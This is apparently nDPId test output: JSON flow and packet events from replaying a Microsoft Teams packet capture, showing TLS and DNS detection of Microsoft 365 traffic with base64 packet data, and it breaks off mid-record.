+00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1687,"source":"teams.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1587041684306,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"13.107.18.11","src_port":60549,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1687,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":306115,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGWZTAqAEGDWsSC+yFAbvNnLiZAAAAALAC\/\/\/7GwAAAgQFtAEDAwUBAQgKMIS1wQAAAAAEAgAA"} +00427{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1697,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":317619,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0FJpAAHUGEAYNaxILwKgBBgG77IU13hw0zZy4moAS\/\/\/HZQAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":37,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1698,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":317725,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGWazAqAEGDWsSC+yFAbvNnLiaNd4cNVAQIADoJAAA"} +00696{"flow_id":37,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1699,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":317987,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"EBMx8Tl2KDc3AG3ICABFAAD7AABAAEAGWNnAqAEGDWsSC+yFAbvNnLiaNd4cNVAYIAB7OAAAFgMBAM4BAADKAwNT9yhcRBpq6+zC6hAkiruFzkDB0iUODZ2vqxEjURraCwAAHGpqzKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACF2toAAP8BAAEAAAAAGQAXAAAUc3Vic3RyYXRlLm9mZmljZS5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAja2gAdABcAGAAbAAMCAAK6ugABAA=="} +00745{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1699,"source":"teams.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":4,"flow_first_seen":1587041684306,"flow_last_seen":1587041684317,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"13.107.18.11","src_port":60549,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"substrate.office.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00416{"flow_id":37,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1701,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":329497,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoFJtAAHYGDxENaxILwKgBBgG77IU13hw1zZy5bVAQBAEDUQAAAAAAAAAA"} +02355{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1718,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":361997,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUFJxAAHYGCWQNaxILwKgBBgG77IU13hw1zZy5bVAQBAE1xgAAFgMDEScCAABiAwNemFWUxi40371SEBsRoSvi3K1qS7dk8re7yQqXzV6fTCDWDgAAEZy1g76FcVx8iRxcs1H3LDFiTCTdny4ZR8Qn1cAwAAAaAAUAAAAjAAAAEAAFAAMCaDIAFwAA\/wEAAQALAA1vAA1sAAjQMIIIzDCCB7SgAwIBAgIQB2hUBcDpx4XEzZrxIUolfjANBgkqhkiG9w0BAQsFADBLMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMSUwIwYDVQQDExxEaWdpQ2VydCBDbG91ZCBTZXJ2aWNlcyBDQS0xMB4XDTE5MDcxMjAwMDAwMFoXDTIxMDcxMjEyMDAwMFowcTELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEbMBkGA1UEAxMST3V0bG9vay5vZmZpY2UuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAq7+Nra7fKq66KQLN4DKrA0VnlSVepnT\/oHFUN09PHVOIi7oIBLhWjsVBqFAmP7Gvo7MbUy9kMq0TvmUUptU30SReC5mTFyD4zO8TNxdR9JPw96iUXWdQlXrYfS1dnwMgxGbkub+csPd4PL3NOPVyo1dRsT1B4jZ13Me0JRl4Um40k8h0i5XD6GrOfIdKinMEamE0dNEDqD8kvBR5fkH2bnLUv4EM4l5i7SRrOz9iLyy0cmw\/GDqCNBRqipSW0ywd6Wkhk42sgG1SK2czbZjKs1SeqOMRrmzmJkxgWAHJ9pxwvazNb+F+VfrRD8B2v7mI1gp3c8zJVWl7ap\/lrTf4RwIDAQABo4IFhDCCBYAwHwYDVR0jBBgwFoAU3VHQojFzqXOuj7QBfl2MV8uf8PcwHQYDVR0OBBYEFEvzprbM0Zp6vEsA3rmSQigYtbvmMIICIwYDVR0RBIICGjCCAhaCEk91dGxvb2sub2ZmaWNlLmNvbYIdYXR0YWNobWVudC5vdXRsb29rLm9mZmljZS5uZXSCIGF0dGFjaG1lbnQub3V0bG9vay5vZmZpY2VwcGUubmV0ghNib29raW5ncy5vZmZpY2UuY29tghBkZWx2ZS5vZmZpY2UuY29tghplZGdlLm91dGxvb2sub2ZmaWNlMzY1LmNvbYITZWRnZXNkZi5vdXRsb29rLmNvbYIUaW1nLmRlbHZlLm9mZmljZS5jb22CEG91dGxvb2subGl2ZS5jb22CFG91dGxvb2stc2RmLmxpdmUuY29tghZvdXRsb29rLXNkZi5vZmZpY2UuY29tghlzZGZlZGdlLXBpbG90Lm91dGxvb2suY29tghRzdWJzdHJhdGUub2ZmaWNlLmNvbYIYc3Vic3RyYXRlLXNkZi5vZmZpY2UuY29tghxhZmQtay1hY2RjLWRpcmVjdC5vZmZpY2UuY29tghNiZXRhLXNkZi55YW1tZXIuY29tghR0ZWFtcy1zZGYueWFtbWVyLmNvbYIPYmV0YS55YW1tZXIuY29tghB0ZWFtcy55YW1tZXIuY29tghZhdHRhY2htZW50cy5vZmZpY2UubmV0ghphdHRhY2htZW50cy1zZGYub2ZmaWNlLm5ldIIQYWZkLWsub2ZmaWNlLmNvbYIUYWZkLWstc2RmLm9mZmljZS5jb20wDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjCBjQYDVR0fBIGFMIGCMD+gPaA7hjlodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRDbG91ZFNlcnZpY2VzQ0EtMS1nMS5jcmwwP6A9oDuGOWh0dHA6Ly9jcmw0LmRp"} +02381{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1719,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":362087,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUFJ1AAHYGCWMNaxILwKgBBgG77IU13iHhzZy5bVAQBAGr9QAAZ2ljZXJ0LmNvbS9EaWdpQ2VydENsb3VkU2VydmljZXNDQS0xLWcxLmNybDBMBgNVHSAERTBDMDcGCWCGSAGG\/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NweC5kaWdpY2VydC5jb20wRQYIKwYBBQUHMAKGOWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydENsb3VkU2VydmljZXNDQS0xLmNydDAMBgNVHRMBAf8EAjAAMIIBfAYKKwYBBAHWeQIEAgSCAWwEggFoAWYAdQC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWvnKNL7AAAEAwBGMEQCIFbofofUy9ktak4PriQRRgfrb\/\/YUBTYLuzVUeWLPNoHAiAioRFLut07EprtxaQiI\/9Rt7gXRYKun6JeXwdIx2uTBAB1AId1v+dZfPiMQ5lfvfNu\/1aNR1Y2\/0q1YMG06v9eoIMPAAABa+co0zgAAAQDAEYwRAIgEVb+llytLDXFaLeM916wyeaunc5wOnHG\/joEXgg5fZECIDCL4nvgXJcKX\/dhEP\/NBmkp2wU8xtwPu2NSvmr2oYluAHYARJRlLrDuzq\/EQAfYqP4owNrmgr7YyzG1P9MzlrW2gagAAAFr5yjSQgAABAMARzBFAiEAwKcUB0l49\/P4tNFKoTeSduAoShl40L2Cz5dlG2pZ7KkCIFkr8DwT3VrMX8xNpgd1kCRNM08sc6SGi0BCGha6KZWKMA0GCSqGSIb3DQEBCwUAA4IBAQAWuauuUY2aQwCm\/RoC4+uIQOS1azmqVkslnqB35KSxJas3tRxoeEifxauQp6WRjYFK4Fu4SsemL+vPwDq0ObnMf6w9ySMoB\/QlWejUlaum98h2UqthxLIKniT4o+Hfp8UTyjSdgGFIf142\/naakhcaZ33JndSts2u98OrXalNgf8sjAHzyeg9WqlXA8ZtXQBKwxE4ITfDwAevAtpw1kCSe+DLygQ83fbzlfXBqFrD6QtsY7SInkQedfawfF4VQhIMwCfiKEuGNHRE5I\/E9Vs5xp6wxpEeqR\/axNK4iH7WxgQEkbJFJXHVZolr\/j\/ZjjLsI5WWFpSEpKZ\/ddN+5mUn3AASWMIIEkjCCA3qgAwIBAgIQAZ7Bxr0\/WXuyDDM45VHYdzANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0xNTA4MDQxMjAwMDBaFw0zMDA4MDQxMjAwMDBaMEsxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxJTAjBgNVBAMTHERpZ2lDZXJ0IENsb3VkIFNlcnZpY2VzIENBLTEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRrfaHFHlUJ1fHLwVoPJs8zWfsRRAshPKkR8TZU0JFCbvk\/jPB17xGL9GL5re1Z3h8anC+\/bjltlTPTF6suCJ0c1UpCHPIZPfQlQkOeYNQv1\/11MybQmGOgAS5QarOThKZm6zWxb5bAnO1FqSrcWLUmOpAOYWm9rsv6OeHwov2nDLN7Pg+v4nndCOCS9rqv3OmJTz9v6nlaP\/4MKJgxzsuo\/PFfzs7\/Q8xoXx0D9C\/FMS9aPGl52un35sAfkYlTuboE\/P2BsfUbwsnIEJdYbw\/YNJ8lnLJfLCL\/\/lIBVME+iKvt81RXW3dkHQD8DNP9MfA"} +00408{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1720,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":362150,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGWazAqAEGDWsSC+yFAbvNnLltNd4njVAQH9LcJwAA"} +02369{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1721,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":362334,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUFJ5AAHYGCWINaxILwKgBBgG77IU13ieNzZy5bVAQBAEixAAAPlZGR69zIIvcej6j8l3\/AgMBAAGjggFaMIIBVjASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTB7BgNVHR8EdDByMDegNaAzhjFodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMDegNaAzhjFodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vRGlnaUNlcnRHbG9iYWxSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBTdUdCiMXOpc66PtAF+XYxXy5\/w9zAfBgNVHSMEGDAWgBQD3lA1VtFMu2bwo+IbG8OXsj3RVTANBgkqhkiG9w0BAQsFAAOCAQEACCnEyKb+tDgo96MZZ4zqBTsOS0BiYh48FMYF3DanTzJxRgVegB1ca\/Btbdkhdgu9RsS5ZpdN\/4AUeodphLLW\/8kWcL6jzIshre5cjSStwo+Z4MyeigkDuA+atVuQKyr316UvSmWoxOTFx3GplkZPq21LKhbL8ak79h8hObTrrWAEgpsSv96r0kYdDA07dgL5C9XOU4VCeylNRtGLzWTsIRZPLwFDWNFl7Vyl+0Sg0lDo3mbEtjGehzMDsMnGSxLnWzWU2UbOMeu\/uPaeC4SFgiJWxCOEVOdSMwwlyxrsRFUPY5Zys80ZXn4OJ4XVpOqw4qXcBiklkOjOLOnp0HzvzhYAAdkBAAHVMIIB0QoBAKCCAcowggHGBgkrBgEFBQcwAQEEggG3MIIBszCBnKIWBBTdUdCiMXOpc66PtAF+XYxXy5\/w9xgPMjAyMDA0MTMxNTMyMjNaMHEwbzBHMAcGBSsOAwIaBBRItqniEpOzwCCxKs5Oc2SaPGfcmwQU3VHQojFzqXOuj7QBfl2MV8uf8PcCEAdoVAXA6ceFxM2a8SFKJX6AABgPMjAyMDA0MTMxNTMyMjNaoBEYDzIwMjAwNDIwMTQ0NzIzWjANBgkqhkiG9w0BAQsFAAOCAQEAurQ3e0uI2\/3QkXdKtO6HPFwkivYaluy4DwK1QvLUfqePLndtpNN8rsupNb7b\/oo7qhnkfY+aPOaVxIdkWedm3ej5ryG4h7BDas+S0IgWxBRCJCIJezKZ2rLUqHIgGtfo1If3nSrVtTlE7E0LOqjMAqi\/7ttk\/ztQyN9xOGxQGuO7ZKFfJ6iJrFpCGrwKKruaHeFdfi9EZpajkk0OzX6tLr1rW+TMWGmCl5K1kIOCQocnxk6ZQ1LkFDHPXsJ\/N7UncZNkWEQJlYSYExY1U9QqoJVKXkJQYwJucq3+pmOUTbBYX8JRfA9eAEhvetTvhBj7ubZmVqbnQ2UOWb2bG4H\/LgwAAWkDABhhBM3oeauFr\/+yDZmf7u6HI3wTfUAx0qmvQiJb1VA8dnP8BFmdEg1HD3CFvQtnFzldT60cf66xT1pxU\/vheLykWn9qYtFtB2LBAywLyeSS1+E5f+d4eFrgYscIAxDCl69sZgQBAQBQ27XZvH1rV2pUXV\/lggIb0Wd7OIg0w8iduLLGNJi6RuH+K+KSLtule2pvwGAy7uAJjAv5I7CIrUGIj1\/V5FNvQ4vdk+ifuw0OzRTDtGXxV5PVwBDdKC7jFKqB5z8lOYtDr6seiApM5UMkvPMgD0iAhmeoE2D88GvyCSY171XvVnfeLHMH+TkJvNlLsjSpG+p66s96vTtTZaH6Hb5VDzAyRIdBteTyFTmXgxbAfzYXWJPrvGY2LunIPSMDrxTYfWYYMp5aKEuETmsefIq5WE3Z2OlYaBi+d+DPhPwI"} +00465{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1722,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":362335,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"KDc3AG3IEBMx8Tl2CABFAABQFJ9AAHYGDuUNaxILwKgBBgG77IU13i05zZy5bVAYBAEvfwAA2BU6FLOqezFGRH8EDwiDKQrqoWuDQ8c67wKl46tlInnEsf3RDgAAAA=="} +01566{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1722,"source":"teams.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":10,"flow_first_seen":1587041684306,"flow_last_seen":1587041684362,"flow_tot_l4_data_len":4843,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":484,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"13.107.18.11","src_port":60549,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"substrate.office.com","server_names":"outlook.office.com,attachment.outlook.office.net,attachment.outlook.officeppe.net,bookings.office.com,delve.office.com,edge.outlook.office365.com,edgesdf.outlook.com,img.delve.office.com,outlook.live.com,outlook-sdf.live.com,outlook-sdf.office.com,sdfedge-pilot.outlook.com,substrate.office.com,substrate-sdf.office.com,afd-k-acdc-direct.office.com,beta-sdf.yammer.com,teams-sdf.yammer.com,beta.yammer.com,teams.yammer.com,attachments.office.net,attachments-sdf.office.net,afd-k.office.com,afd-k-sdf.office.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"a66ea560599a2f5c89eec8c3a0d69cee","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, O=DigiCert Inc, CN=DigiCert Cloud Services CA-1","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, CN=Outlook.office.com","alpn":"h2,http\/1.1","fingerprint":"AA:D3:F5:66:06:48:AA:F8:8E:9B:79:D6:7F:1D:53:EA:3F:97:03:A2"}} +00409{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1723,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":362373,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGWazAqAEGDWsSC+yFAbvNnLltNd4tYVAQH9HWVAAA"} +00627{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1724,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":366212,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"EBMx8Tl2KDc3AG3ICABFAADGAABAAEAGWQ7AqAEGDWsSC+yFAbvNnLltNd4tYVAYIADR3gAAFgMDAGYQAABiYQTJ2e7AKWBQ04e1oVsTbr+Pd2xAGivzg\/UtbmFTalVk6OyMTpkH+ppXobE+32uV7\/D6XXEPCiyHu9Fj+T5kVMU86jwjuCr9Zld4aeEx7Ov9VdAH0mPX8DQpk4RPAjXOA4YUAwMAAQEWAwMAKAAAAAAAAAAAk6diy7+2roS\/v+tTXTMj5Lt7gLRyYvp53RvO8TB8FLY="} +00537{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1725,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":373953,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"EBMx8Tl2KDc3AG3ICABFAACFAABAAEAGWU\/AqAEGDWsSC+yFAbvNnLoLNd4tYVAYIAAp8gAAFwMDAFgAAAAAAAAAAamLj9A5OPT3Qblu0RImM1R5UCQzMjbveajEvsmKdeWImBylqL0J4JcD7voAm+GUiwTzCBvruK8wFjqXhmNh2gqVGlRZ9RFB0TkonutwnTL2"} +01147{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1726,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":374278,"pkt_caplen":592,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":592,"pkt_l4_len":558,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJCAABAAEAGV5LAqAEGDWsSC+yFAbvNnLpoNd4tYVAYIAAtOwAAFwMDAhUAAAAAAAAAAnoEFa1O6O4jB\/9Rs\/uZd2wnUxMOKQMhYYzxudiX9cneG\/e0hEbY\/V1I2kmd2n450RDif7N5YTIR5FfNYfrnoC9Sy3\/CmEn9xtjGkE2Du1g\/jOtL3bvVbdHctPyvqzE3wZFS8e\/ahk\/\/n49oSGrDg0UsLvlAplo1cBoBcdHHQ6+6JPEv6ytDzOg9ihyXhcdPrHV418BMh07FRMKWOFxVA8DVNQHYeOB5PevyZaFQj2vGvsOP\/XbQRKmM+0Kl3Z9wGGChJqjOAo+Mdzdv\/xNunKVinnfZ4r5pBudKfqepaGpNiF9OBLGC5Z961BfvXED13ZUfY3p\/qrfI\/kR6AZaeOBEUlOQRq+0Za2KQhPZKO7fevbCk3w+lDHDFkPwjf3h\/BoYqudB8T88mstgaH3Ttm69ksRbcNKcWl0XKWIvMSUlLH6TGLhBc6HRxiC0ePrX8oazeKfIOeXj0mF6hSGeZ6WTMrbpI5OzAqY1BOC2XgCg6ArsPGatdxByekknB05kddbw2wbP9ntZAvba5cJdQJ98xnWpxPe6ifZ3O2WlHMxi063Kl3b08VxTaPKkdTTzzhqVGsdoE7ArZxw3hNS5G5jx5WTbHrcvlmiDvkCu0Amnc2alBu\/YgRS7Lwdz9kWOgrskwsuh0Yzic3WSJbjevm14M+bOycMvakGAVYUu8OVIxXMzaUeF3LBF89iEK3g=="} +00593{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1727,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":374350,"pkt_caplen":186,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":186,"pkt_l4_len":152,"pkt":"EBMx8Tl2KDc3AG3ICABFAACsAABAAEAGWSjAqAEGDWsSC+yFAbvNnLyCNd4tYVAYIABWVQAAFwMDAH8AAAAAAAAAA\/r4V7fKCRvENEHp2g9oFooWRNtbwacjQp5ot\/N9Dpu1\/XRH0KkXCfxdbarfm17nT4djYDWdAWmnmNu\/aTLusJ6kYlOwsB+guT1ONQ8OI1tB+9TDyiNT0a2qyBQ+OOL4BWjVA16FFnxWiLsBk7g\/adWO6XttK6ej"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1753,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041684,"pkt_ts_usec":611243,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1753,"source":"teams.pcap","alias":"nDPId-test","type":38} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1775,"source":"teams.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1587041685090,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":61245,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1775,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":90830,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"EBMx8Tl2KDc3AG3ICABFAABJHhYAAP8RGjbAqAEGwKgBAe89ADUANcKVVKoBAAABAAAAAAAABGV1YXoCdHIFdGVhbXMJbWljcm9zb2Z0A2NvbQAAAQAB"} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1775,"source":"teams.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1587041685090,"flow_last_seen":0,"flow_tot_l4_data_len":53,"flow_min_l4_data_len":53,"flow_max_l4_data_len":53,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":61245,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"euaz.tr.teams.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1776,"source":"teams.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1587041685091,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":53678,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1776,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":91534,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"EBMx8Tl2KDc3AG3ICABFAABZE40AAP8RJK\/AqAEGwKgBAdGuADUARafs9AEBAAABAAAAAAAAD3Ryb3V0ZXIyLWFzc2UtYQd0cm91dGVyBXRlYW1zCW1pY3Jvc29mdANjb20AABwAAQ=="} +00667{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1776,"source":"teams.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1587041685091,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":53678,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": 